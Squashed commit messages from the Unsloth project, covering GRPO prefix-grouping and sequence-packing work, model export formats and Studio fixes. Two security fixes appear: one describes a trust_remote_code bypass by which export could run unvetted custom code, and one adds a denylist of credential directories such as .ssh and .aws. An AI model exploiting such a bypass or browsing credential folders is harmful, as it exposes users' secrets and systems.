shared-prefix mask, cutting the forward from G*(P+R) to P+G*R tokens across both the
no-grad old/ref forwards and the grad logp forward. Default off behind the
UNSLOTH_GRPO_PREFIX_GROUPER env gate, so the gate-unset path is byte-identical to
today. A tok_r auto-gate and a first-use self-verify (fall back and mark the shape
unsafe on mismatch) keep it from ever shipping wrong logprobs silently.
Wired for llama, mistral, qwen3, gemma2, cohere, granite and falcon_h1, plus qwen2
and gemma through the shared LlamaAttention_fast_forward. Stacked on the GRPO
sequence-packing PR (#6738); the grad path lands in a companion unsloth-zoo PR.
Also fixes a latent UNSLOTH_ENABLE_LOGGING NameError in the seq-packing no-grad
verify path by defining the name as a generated-cache pre-item.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* PrefixGrouper: enforce the sliding-window cap, gate softcap models, bound the mask cache
Add a max_segment_cap kwarg to build_group_layout so it falls back when a group's
span (prefix + longest suffix) exceeds the model's local window, and pass the config
sliding_window into the no-grad engage gate the same way the packed _pk guard derives it.
Skip PrefixGrouper entirely for attn_logit_softcapping models, since the FlexAttention
kernel never applies logit softcapping. Bound _BLOCK_MASK_CACHE to a FIFO of 8 so
per-step lengths cannot pin BlockMasks forever, release the PG hidden before the verify
forward, and align the UNSLOTH_ENABLE_LOGGING pre-item truthiness with the canonical form.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* PrefixGrouper: vectorize the real-column scan in build_group_layout
Replace the per-row O(B*L) Python scan of the keep mask with a GPU-derived
contiguous-run fast path (first real column + count per row), keeping the
general scan only as a fallback for non-contiguous rows. Works for both call
sites: the no-grad layout (left-padded prompt + right-padded completion, run
does not start at column 0) and the grad layout (left-packed).
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* PrefixGrouper: hoist the gate and kernel imports to one-time module checks, AGPLv3 headers
Read UNSLOTH_GRPO_PREFIX_GROUPER and resolve the prefix_grouper imports once at module
level (source constants plus an RL_PRE_ITEMS entry for the generated trainer cache)
instead of per call, matching the sequence-packing gates. The prefix_grouper env helpers
become one-time module reads with unchanged signatures, and attention_dispatch resolves
the FlexAttention kernel once behind the same gate (lazy fallback kept). The two new
prefix_grouper files move to AGPLv3 headers.
* PrefixGrouper: length-envelope trust and hybrid SSM exclusion
Verified signatures now record (max T, max segment) and re-verify when either grows,
matching the packed path's envelope. Hybrid SSM models (FalconH1 etc.) are excluded at
the gate since only attention gets the shared-prefix isolation, and the FalconH1 wiring
is removed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* PrefixGrouper: defer the unverified no-grad forward until the packed reference exists
Unverified shapes no longer run the whole-batch shared-prefix forward up front; it now
runs at the verify site, only when the packed path produced a reference. A declined
packed path (budget, window) therefore costs no wasted PG forward per step. Trusted
shapes still run it first to skip the full-row forward, with the same fallback.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* PrefixGrouper: disable under vLLM (fast_inference=True)
With colocated vLLM generation the rollout dominates the GRPO step, so the shared-prefix
training forward saves little end-to-end and its first-use self-verify (which also runs
the full-row path) is net overhead. Gate PG on not use_vllm so it only engages on the raw
transformers path, where the training forward is on the critical path. Packing is unaffected.
* PrefixGrouper: compile the FlexAttention kernel with dynamic shapes
GRPO changes the packed length T almost every batch. With dynamic=False the flex
forward+backward kernel recompiled on every new T (~14s each on a 4B trunk), which
dominated the step and made PG a net loss. dynamic=True compiles once, then reuses the
kernel across all lengths recompile-free (a new shape drops from ~14s to ~1.4ms after a
two-graph warmup). T is still padded to a multiple of 128 for the backward block assertion.
* PrefixGrouper: default on
Enable PrefixGrouper by default (UNSLOTH_GRPO_PREFIX_GROUPER defaults to 1; set 0 to
disable). Still auto-disabled under vLLM (fast_inference=True) and by the arch/softcap/
SSM/tok_r gates, and the first-use self-verify falls back on any mismatch, so this is a
memory-first default on the raw-transformers path with no correctness risk.
* GRPO PrefixGrouper: gate on zoo masked-column guard and exclude MoE
- Require the zoo masked-column guard (zoo#840) before PrefixGrouper can engage.
PG rides the sequence-packing path, so when the first-step self-verify is off the
fast path trusts PG output directly; without the guard those masked columns feed
NaN into the packed loss. Gate PG on the same UNSLOTH_ZOO_HAS_MASKED_COL_GUARD
the packing path already checks.
- Exclude MoE configs (num_experts, num_local_experts, n_routed_experts,
moe_intermediate_size) alongside the hybrid-SSM markers. Only the threaded
attention forwards carry the shared-prefix isolation, so a MoE decoder that does
not forward prefix_seg_info would let suffixes leak across completions.
- Refresh the stale default-off comments now that UNSLOTH_GRPO_PREFIX_GROUPER is
on by default.
* GRPO PrefixGrouper: import chunked_hidden_states_selective_log_softmax
The shared-prefix forward passes chunked_hidden_states_selective_log_softmax
into extract_logps, but the name was only ever provided by the generated
trainer cache (rl.py injects grpo_selective_log_softmax_code), never bound in
this module. Import it from unsloth_zoo.rl_replacements next to its sibling
chunked_selective_log_softmax so the source resolves the name in every scope
(the new _pg_run_forward closure included). No runtime change: the cache still
defines the function via template injection.
* GRPO PrefixGrouper: dropout gate, device-safe layout, Mistral mask skip
Addresses three review findings on the shared-prefix path:
- Skip PrefixGrouper when the model sets a nonzero attention_dropout. The normal
backends apply config.attention_dropout while training (e.g. Granite dense
flash/sdpa/xformers), but the FlexAttention shared-prefix path is deterministic,
so gate PG off for those configs rather than train on mismatched activations.
- Move the shared-prefix mask labels to the consumer (Q) device in get_block_mask
and the target index maps to hidden.device in extract_logps, mirroring the packed
path moving its metadata to the consumer device. Prevents cross-device indexing
when the model is sharded across GPUs.
- Do not synthesize a causal attention_mask in the Mistral forward when
prefix_seg_info is present. On the no-xFormers path that synthetic mask tripped
resolve_prefix_seg_info and forced PG to always fall back to the packed forward.
* GRPO sequence packing: tighten comments
* GRPO PrefixGrouper: tighten comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO PrefixGrouper: persistent disable on runtime failure; build block-mask labels with inference mode disabled
- rl_replacements: on a PG forward exception (FlexAttention/Triton compile failure or OOM), set a model-level _unsloth_prefix_grouper_nograd_disabled flag and consult it in the engage gate, mirroring the seq-packing handler, so a GPU-wide failure is not retried and re-paid every step.
- prefix_grouper_kernel: move the .to(device) label copies inside the inference_mode(False) block so a cross-device (model-parallel shard) first build does not capture inference tensors, which otherwise cannot be saved for backward when the grad training forward reuses the cached BlockMask.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* GRPO: optional sequence packing for the no-grad old/ref logp path
Add an opt-in sequence-packing fast path to _get_per_token_logps_and_entropies, enabled with
UNSLOTH_GRPO_SEQ_PACKING=1. When the batch is text-only, the padded [B, Lmax] per-chunk forward is
replaced by a single varlen [1, sum L] forward (BlockDiagonalCausalMask via packed_seq_lengths with
reset position_ids). Per-token logps use the same float32 chunked_hidden_states_selective_log_softmax
as the padded path, so the old and reference logps are bit-for-bit identical.
Safety: the packed path is self-verified once against the padded ground truth on a batch that has at
least two rows with real completion tokens (self._unsloth_seq_packing_nograd_ok), so cross-sample
contamination would actually manifest; a degenerate all-pad / fully tool-masked batch leaves the
verdict unset and re-verifies later. If a backend silently ignores packed_seq_lengths (flat batch run
under a normal causal mask, samples leaking across boundaries), the packed logps will not match and
packing is disabled instead of corrupting logps. It also forces use_cache=False (a populated
past_key_value disables varlen packing), skips packing when a sliding window is shorter than the
packed stream, runs the same GPT-OSS offload device_synchronize the padded loop uses, and falls back
on any exception (UNSLOTH_GRPO_SEQ_PACKING_DEBUG=1 prints the reason).
Default off, so existing behavior is unchanged. Pairs with the matching gradient-path change in
unsloth_zoo so the full GRPO logp + loss + backward can run packed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: address review feedback
- Cache the packed-vs-padded verdict per unwrapped model instead of on the
trainer, so a separately forwarded reference model is verified on its own
forward path rather than inheriting the policy model's verdict.
- Force the padded path when token_type_ids or mm_token_type_ids are present,
matching the extra vision kwargs the padded loop forwards.
- Require the xformers varlen backend before packing. Without it the packed
mask falls back to a dense O(T^2) SDPA mask that can OOM on the flattened
batch, so we keep the padded loop in that case.
- On any packed-forward failure (missing backend, OOM, unsupported forward)
empty the cache on OOM, disable packing for that model, and fall back to the
chunked padded loop instead of retrying every step.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: default-on, verify against per-row reference
Redesign of the optional sequence-packing fast path for the no-grad
old/ref logprob recompute, after establishing that the packed forward is
the exact per-row computation and the padded batch forward is the side
that mis-positions left-padded rows on long completions.
- Default the packing on (UNSLOTH_GRPO_SEQ_PACKING, disable with 0).
- Verify the packed logprobs against the per-row clean forward (each
row's real tokens alone, reset 0-based positions, no padding), not the
padded batch which is itself wrong for left-padding. Cross-sample
contamination (a backend ignoring packed_seq_lengths) shows up as a
large mismatch and falls back to the padded loop.
- Make the trust decision shape and RoPE aware: re-verify whenever the
packed total length or the longest segment grows past what was
verified, so a later batch crossing a LongRoPE short/long cache
boundary is re-checked instead of trusted blindly.
- Run lm_head only on completion-prediction positions instead of every
packed prompt token, so long-prompt/short-completion batches do not
pay for projecting the whole packed prompt.
- Drop the hard xformers import so the path also runs in
FlashAttention-only environments; the per-row verification guards
correctness regardless of backend.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: disable entirely on cross-sample mismatch
When the per-row verification fails, distinguish the two failure modes by
magnitude instead of by sequence length:
- A large mismatch (>= 1.5) is the cross-sample contamination signature:
the model's attention does not honor the block-diagonal packed mask
(seen on some MoE / custom-attention models, e.g. qwen2_moe). Disable
packing entirely for the model so later batches do not pay the
verification cost again.
- A moderate mismatch is more likely a length-boundary effect (a LongRoPE
short/long cache switch): keep marking just that length region unsafe so
packing still runs for smaller shapes.
Validated: Qwen1.5-MoE falls back after a single verification (grad and
no-grad ok flags go False, no re-verify on later steps); dense Llama-3.2
and Qwen3 still verify and engage packing.
* GRPO no-grad packing: trim comments to be concise
* GRPO no-grad packing: fix per-row completion boundary for left-padded rows
The completion-target selection used a single global boundary
(col >= L - logits_to_keep). After left-packing, each row's completion
starts at (L - logits_to_keep) - left_pad[row], so for left-padded rows
the first left_pad completion tokens fall below the global boundary and
were dropped, leaving 0 logprobs at real completion positions that the
loss mask keeps. Use the per-row boundary so packed coverage matches
create_completion_attention_mask exactly, and widen the self-verify mask
to the full per-row completion region so it can catch coverage gaps.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO no-grad packing: gate verification on real completion rows
Count active rows via create_completion_attention_mask (the same mask the
loss uses) instead of any non-pad token in the packed window. Prompt-only
rows carry prompt-overflow tokens in the window and could otherwise satisfy
the >= 2 verification guard, letting a batch with a single real completion
row cache a trust decision. This matches the gradient path, which already
gates on the completion mask. The same mask is reused for the self-verify
comparison.
* GRPO no-grad packing: gate debug logging on UNSLOTH_ENABLE_LOGGING
Use the shared UNSLOTH_ENABLE_LOGGING global (import_fixes, re-exported by
_utils) instead of a bespoke UNSLOTH_GRPO_SEQ_PACKING_DEBUG env var for the
packing debug prints, matching the rest of the codebase.
* GRPO packing: import UNSLOTH_ENABLE_LOGGING inside the injected logp function
_get_per_token_logps_and_entropies is copied verbatim into the generated GRPO trainer
via inspect.getsource, and that module never imported UNSLOTH_ENABLE_LOGGING, so the
default-on packing verify path raised NameError (and the except handler re-raised it).
Import the flag locally, before the try, so the name is defined in the generated module
too. Drop it from the now-unused module-level import.
* GRPO no-grad packing: harden unsafe-length skip, verify guard, fallback cleanup
Three fixes to the no-grad logp packing path, mirroring the grad path:
- skip the packed forward for known-unsafe lengths by reading unsafe_T and
gating on it before the forward, instead of running the full packed pass and
the result build only to discard them (wastes a pass, can OOM at large T)
- only widen the verified T/seg envelope when >= 2 completion rows actually
exercised cross-sample packing; a < 2 row batch cannot expose leakage, so it
must not extend the trusted shape that later multi-row batches skip verify for
- drop the packed intermediates (hidden/sel/result/ref) before the padded
fallback loop so it does not run with the flattened hidden state still resident
* GRPO no-grad packing: cap the flattened forward at one mini-batch budget
The packed path built a single [1, sum L] forward over every row before any
size check, so a large batch could exceed the memory the padded path bounds
per mini-batch. Gate packing on _pk_T <= _pk_cap (B * seq_len, one padded
mini-batch's token budget); larger batches fall back to the chunked padded
loop.
* GRPO no-grad packing: disable unless unsloth_zoo has the masked-column guard
The packed path leaves masked prompt/pad logprob columns at 0, which only stays
finite if unsloth_zoo grpo_compute_loss zeroes them before exp() (zoo#840). An
older unsloth_zoo without that guard would NaN. Detect the guard once (cached on
the model) via inspect.getsource and gate packing on it, so #6738 is safe with
any unsloth_zoo version and re-enables packing automatically once a guarded zoo
is installed, independent of the pinned lower bound.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO packing: hoist env gates and zoo-guard detection to one-time module checks
Read UNSLOTH_GRPO_SEQ_PACKING and detect the unsloth_zoo masked-column guard once at
import time (module constants plus RL_PRE_ITEMS for the generated trainer cache) instead
of per call, and drop the in-function UNSLOTH_ENABLE_LOGGING import for a module-top one.
The UNSLOTH_GRPO_SEQ_PACKING_VERIFY force-verify debug knob is commented out, kept in
place for hand re-enable; the first-use and envelope-growth self-verify stays active.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* GRPO packing: cap the flattened forward by the padded chunk rows
B counts chunks at this point, so B * seq_len understated (small runs) or overstated
(large runs) the padded mini-batch token budget; use batch_size * seq_len, the rows the
padded loop actually forwards per chunk.
* GRPO sequence packing: tighten comments
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
The setup.ps1 unit-tests job intermittently fails on the windows-latest
runner with 'No repository with the name PSGallery was found.' when the
default PowerShell Gallery is not registered, so Set-PSRepository throws
before Pester can be installed. Register the default gallery first when it
is missing, then set its policy and install Pester as before.
* Fix export-time trust_remote_code bypass in FP8/INT8/GGUF-LoRA export
The torchao, compressed-tensors, and LoRA GGUF export paths re-read the merged
checkpoint and used to set trust_remote_code from the checkpoint config's static
auto_map (the torchao path also scanned the staged tokenizer/processor configs).
A model that loads with built-in Transformers classes can carry an auto_map entry,
which skips the load-time remote-code consent scan (that only runs when the load
already requested trust_remote_code) yet flips trust_remote_code on at export,
running unvetted custom code.
Derive the reload trust_remote_code from the approved load decision instead: a new
_loaded_via_remote_code() checks whether the in-memory model / tokenizer was itself
loaded from custom code (its class lives in the transformers_modules package),
walking PEFT / wrapper layers. Built-in-loaded models no longer gain trust from
config metadata; genuine custom-code models (loaded with consent) still reload
correctly. Add CPU-only regression tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Harden _loaded_via_remote_code against a None/missing __module__
Read type(node).__module__ via getattr and require a string before startswith,
so a dynamically created or C-extension class with a None module does not raise
during export. Add a regression test.
* Split model and tokenizer trust for the compressed subprocess, walk processor components
The compressed-tensors export collapsed model and tokenizer trust into
one --trust-remote-code flag, so an approved custom tokenizer would have
let an unapproved model's custom code run inside the quantization
subprocess. The subprocess now takes --trust-remote-code-tokenizer for
the processor load and keeps --trust-remote-code for the model loads,
matching the torchao path's separate model_trust / tok_trust.
_loaded_via_remote_code now also walks processor components (tokenizer,
image_processor, feature_extractor, video_processor), so an approved
custom tokenizer held inside a built-in ProcessorMixin keeps its trust
on the export reload instead of failing with trust_remote_code=False.
The walk is a bounded BFS with a seen set so wrapper cycles terminate.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Fix: skip fp16/bf16 validation for full finetuning in RL trainers
When doing full finetuning (FFT) of a bfloat16 model, the fp16/bf16
mismatch validation fires before the corrective logic runs, causing a
misleading error even though the code would properly handle it downstream.
Skip the validation when full_finetuning is active.
Fixes#6731
* Fix: auto-correct fp16/bf16 mismatches for full finetuning before validation
Instead of entirely skipping validation (which could let mismatches
through when mixed_precision_dtype is float32), auto-correct explicit
fp16/bf16 settings that conflict with the model's dtype for FFT. This
way the existing validation still catches real mismatches for non-FFT
cases, and the corrective logic below handles the normalized settings.
Fixes the issue raised in Codex review of PR #6813.
* Guard Windows ROCm torchao override skip
Detect installed ROCm torch directly before applying the torchao override so Windows ROCm environments never install the crashing torchao package even if the earlier ROCm-installed flag is missing.
* Update unsloth/models/rl.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Update studio/install_python_stack.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* Harden ROCm probe and sync RL precision flags
Tolerate stray stdout noise when probing Windows ROCm torch installs by checking the last non-empty output line, matching the existing torch version probe behavior. Also keep args.fp16 and args.bf16 synchronized with the full-finetuning precision auto-corrections in the RL trainer patch so downstream eval settings see a consistent TrainingArguments state.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add MLX trainer compatibility shims
Patch imported MLXTrainer and MLXTrainingConfig objects to preserve the expected dataclass field ordering and to provide a _train_dataset_for_batches fallback when older trainers or test doubles only expose train_dataset. Also add focused worker tests covering both compatibility paths.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope PR to Windows ROCm torchao guard
* Restore PR scope to Windows ROCm guard
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* test: cover Windows ROCm torchao skip behavior
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Ayushman Paul <ayushman@HP>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
* Fix external drive custom folder selection
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Update studio/backend/tests/test_linux_external_media_paths.py
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep legacy media scan validation strict
* Apply sensitive-dir denylist to legacy folder browser for PR #6799
The legacy /api/models browse endpoint gained the new /run/media mount
roots in its allowlist but not the credential/config guard that scan-folder
registration and the Hub browser already enforce. Filter sensitive names
during enumeration and reject them in _resolve_browse_target so .ssh, .aws,
.config, etc. under allowlisted roots stay unbrowseable, matching the Hub
browser. Add a public contains_sensitive_path_component helper and cover the
legacy resolver with a regression test.
* Trim redundant comments in PR #6799 changes
* Skip sensitive Linux media roots
* Reject sensitive dirs at exact browse roots for PR #6799
Both _resolve_browse_target functions only checked contains_sensitive_path_component
while walking descendant parts, so requesting an allowlisted root itself (empty
relative path) returned it unchecked. A pre-existing scan-folder row under ~/.ssh,
~/.aws, ~/.config, etc. (registerable before the denylist was added) is re-added to
the allowlist on upgrade and could then be browsed. Check the resolved target once
before returning in both the legacy and Hub browsers, and cover the root case in
both test suites.
* fix: avoid unused path helper reexports
* fix: import sensitive path helpers directly
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: gemini-code-assist[bot] <176961590+gemini-code-assist[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
* Fix TrainingArguments silently disabling unsloth gradient checkpointing
* Cover loaded adapters and preserve explicit None in GC restore
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
* Studio: flush passthrough stream headers before upstream prefill stalls
* Studio: clean up delayed passthrough send failures
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: close passthrough preheader cleanup gaps
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: retry delayed passthrough overflow truncation
* Studio: close completed passthrough send responses
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
* Studio: expose full compressed-tensors scheme set in an export formats dropdown
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: multi-select export formats, portable torchao FP8/INT8, GGUF LoRA, source parity
Export page overhaul on top of the formats dropdown:
- Unify merged precision into one sorted multi-select list (16-bit first, then
8-bit, then 4-bit). Drop "vLLM" from labels, add INT8 (W8A8), INT8 (W8A16),
INT4 (W4A16), MXFP4, MXFP8. Quick formats render as toggle pills; the rest live
in a multi-select "More formats" dropdown, so several formats export in one run.
- Add a portable torchao FP8/INT8 save path (Float8WeightOnlyConfig /
Int8WeightOnlyConfig) that needs no NVIDIA GPU to produce and loads in vLLM.
FP8 serializes to safetensors, INT8 to .bin. Wired into save_pretrained_merged
and push_to_hub_merged via a TORCHAO_EXPORT_SCHEMES registry and
_unsloth_save_torchao, parallel to the compressed-tensors path.
- Hide NVIDIA-only compressed-tensors formats when no NVIDIA GPU is present; keep
16-bit and portable FP8/INT8. The backend also rejects a compressed request on
non-NVIDIA hardware so it stays authoritative.
- Relax merged export to non-PEFT models so Local Model and Hugging Face sources
get the same 16-bit / compressed / portable options.
- GGUF: send the whole quant list in one call (merge once, quantize many).
- LoRA: add a GGUF adapter option (convert_lora_to_gguf.py) with an outtype
select (f16/bf16/f32/q8_0/auto), alongside the safetensors adapter.
- Thread the new fields through models, routes, orchestrator, and worker; extend
the export tests.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio: gate export by accelerator with a torch-aware reason; fix export save dir naming
Export runs through Unsloth, which requires a compute accelerator (NVIDIA/AMD/Intel
GPU or Apple MLX) and has no CPU code path, so a bare-CPU host cannot export even
with PyTorch installed. Add export_capability() in utils/hardware that reports
export_supported plus a precise reason so the UI stops showing a generic "no GPU":
- pytorch_not_installed: a --no-torch install (even a physical GPU is unusable)
- no_accelerator: PyTorch present but no supported accelerator (bare CPU)
- mlx_unavailable: Apple Silicon where the MLX stack is missing or too old
Expose the fields on /api/system/hardware and /api/system, and guard the mutating
export routes (load-checkpoint, export/merged|base|gguf|lora) with HTTP 400 and the
reason, leaving read-only endpoints usable so the Export page still renders.
Make core/export/export.py import without PyTorch and without a usable accelerator
(the Unsloth import is caught) so the export worker degrades to a clear message
instead of crashing at import.
Frontend: keep /export reachable on chat-only hosts and gray out the method and
format options with the backend reason (Alert plus disabled MethodPicker) instead
of silently redirecting to /chat, so users see why export is unavailable.
Also fix the export save directory producing "model/null" for Local Model and
Hugging Face sources that have no run/checkpoint, naming the folder from the model id.
* CI: validate Studio export capability gating on Linux, Windows and macOS
Add a small pytest matrix that runs studio/backend/tests/test_export_capability.py
on ubuntu-latest, windows-latest and macos-latest. It confirms, on each real OS,
that hardware.export_capability() reports the right decision and reason
(pytorch_not_installed, no_accelerator, or mlx_unavailable) and that the export
backend imports without PyTorch and degrades to a clear message instead of crashing.
Hosted runners have no GPU/MLX, so this covers the "export unavailable, here is why"
path a Mac/Windows user without an accelerator sees; a real accelerator export is
validated separately. The job installs only a CPU PyTorch plus the backend import
deps (no unsloth, triton, or llama.cpp), so it runs in seconds with no GPU.
* Studio export: address Codex review (source-aware gating, GGUF LoRA token/MLX/guard)
Frontend (export-page):
- Gate LoRA and quantized-model restrictions on the active source. isAdapter /
isQuantized come from the selected checkpoint; in Local Model / Hugging Face
("model") source mode they were stale, so LoRA stayed wrongly enabled for a
direct base model (backend then rejects "No adapter to export") and a stale
"quantized" flag disabled every method for an unrelated, exportable model. Add
effectiveIsAdapter / effectiveIsQuantized (false outside checkpoint mode) and use
them in the method-reset effect and the MethodPicker disabled state.
- Hide the GGUF LoRA option on a macOS/MLX host (the backend rejects GGUF LoRA on
MLX), so users no longer pick it, wait through the load, and always fail. Disable
the "GGUF adapter" button on a Mac host and never send loraGguf there.
Backend (core/export/export.py):
- Pass the HF token into the GGUF LoRA conversion (save_pretrained_gguf), so a
gated/private base model's config fetch in convert_lora_to_gguf.py is
authenticated; without it the load can succeed but the conversion fails.
- Guard the save_pretrained_gguf capability check with getattr so an older Unsloth
model that lacks the method returns the clean "not supported" message instead of
an AttributeError that surfaces as a generic 500.
* Studio export: address 2nd Codex review (CI index, empty merged, test import)
- studio-export-capability-ci.yml: add --extra-index-url https://pypi.org/simple to
the torch install so torch's transitive deps still resolve; --index-url alone
replaces PyPI with only the CPU wheel index, which does not serve all of them.
- export-page handleStart: reject an empty merged selection (mirrors canExport), so
clicking the panel's Start button with every precision pill deselected no longer
submits mergedSelections: [] and launches an unintended default 16-bit export.
- test_export_imatrix_compressed: the torchao-registry test now reads unsloth/save.py
as text (like the other ast/string checks) instead of `import unsloth.save`, which
raised ModuleNotFoundError in the CPU studio-backend suite that has no unsloth
installed.
* Studio export: make comments succinct across the export changes
* Studio export: use load token for local GGUF LoRA export of gated bases
* Studio export: harden portable torchao path and gate multi-format Hub push
torchao (_unsloth_save_torchao):
- merge to an isolated temp staging dir so a co-selected 16-bit output at save_directory is not deleted
- narrow VLM detection to vision_config / ForVisionText2Text so T5/BART/Whisper are not misrouted
- forward trust_remote_code (from auto_map) to the reload so custom-code models export
Export UI:
- hide portable torchao formats on macOS/MLX (backend rejects quantized export there)
- restrict a Hub merged export to a single format (each writes to the repo root)
* Studio export: torchao tokenizer remote-code + XPU offload, scale GGUF timeout
torchao (_unsloth_save_torchao):
- honor auto_map in the staged tokenizer/processor configs (not just model.config) when
deriving trust_remote_code, so custom-code tokenizers reload after the merge
- offload single-device XPU models to CPU (and empty the XPU cache) before the reload, matching
the CUDA path, so an Intel GPU that fits the model once does not OOM on the second copy
Export orchestrator:
- scale the GGUF wait timeout by the number of requested quants so a multi-quant list export of a
large model does not time out at a flat 3600s
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio export: show portable torchao formats only on non-NVIDIA (CPU) hosts
Portable torchao FP8/INT8 is the fallback for hosts without the NVIDIA compressed-tensors path.
On an NVIDIA GPU the compressed-tensors FP8/FP4/INT formats are the intended path (llm-compressor
auto-installs), so hide the portable duplicates there; keep them on CPU / non-NVIDIA hosts and
continue hiding them on macOS/MLX.
* Studio export: report all output folders and the exported formats
- Multi-format merged export now collects every sibling output directory (one per selected
precision) instead of only the last; the success banner lists them all.
- Show the selected precision formats in the run summary (a Formats row, like GGUF Quantizations),
so the panel says what is being exported rather than just 'Merged Model'.
- Persist the selected formats in the run summary and seed them on mount, so navigating away and
back (or toggling the export method) restores the selection instead of resetting to 16-bit.
* Studio export: list all output formats, add GGUF LoRA target, default Q8_0, auto-select newest checkpoint
- Progress/summary panel now shows a Formats row with the selected merged
formats, and the success banner lists every output folder a multi-format
merged run creates (one line per format) instead of only the last one.
- Merged format selection is seeded from the active run, so navigating away
and back (or switching method cards) no longer resets it to 16-bit.
- GGUF / Llama.cpp now offers an Export target toggle (Full model or LoRA
adapter) for adapter checkpoints, reusing the LoRA GGUF export path.
- Removed the Auto GGUF LoRA output type and defaulted to Q8_0 in the UI,
the request model, and the backend defaults; the outtype list is now
Q8_0/F16/BF16/F32. Core save.py still accepts auto for external callers.
- When a finetune has no checkpoint selected, auto-select the newest one.
* Studio torchao export: robust reload class + optional VLM import
Two fixes to the portable torchao FP8/INT8 export reload, from review of the
narrowed VLM detection:
- Encoder-decoder seq2seq checkpoints (T5/BART/Whisper) are not causal LMs.
With the narrowed is_vlm test they now correctly skip the image-text class,
but fell through to AutoModelForCausalLM and failed to reload after the merge.
Reload them with their own architecture class from the config instead.
- AutoModelForImageTextToText was imported unconditionally at the top of the
torchao path, so on Transformers builds without that class the import aborted
every torchao export (even text-only). Import it lazily only for a VLM, with
the AutoModelForVision2Seq fallback used elsewhere in Unsloth.
* Studio: enable FP8/FP4 compressed export for newer-transformers models
The shipped llm-compressor 0.10.x pins transformers<=4.57.6, so FP8/FP4 export failed
for models needing a transformers 5.x sidecar (Qwen3.5, Gemma-4, Qwen3-Next): the
quantization subprocess crashed importing the removed TORCH_INIT_FUNCTIONS.
Run the quantization against a dedicated llm-compressor-main "shadow": a --target
package dir (transformers 5.10.2 + llm-compressor main + compressed-tensors) layered
over the existing torch. It installs --no-deps so torch is never touched (works on any
Studio torch build), is provisioned lazily and fingerprint-cached, and can be turned
off with UNSLOTH_DISABLE_LLMCOMPRESSOR_MAIN.
- transformers_version.py: provision + validate .venv_llmcompressor.
- export.py: route all compressed exports through the shadow when available; else keep
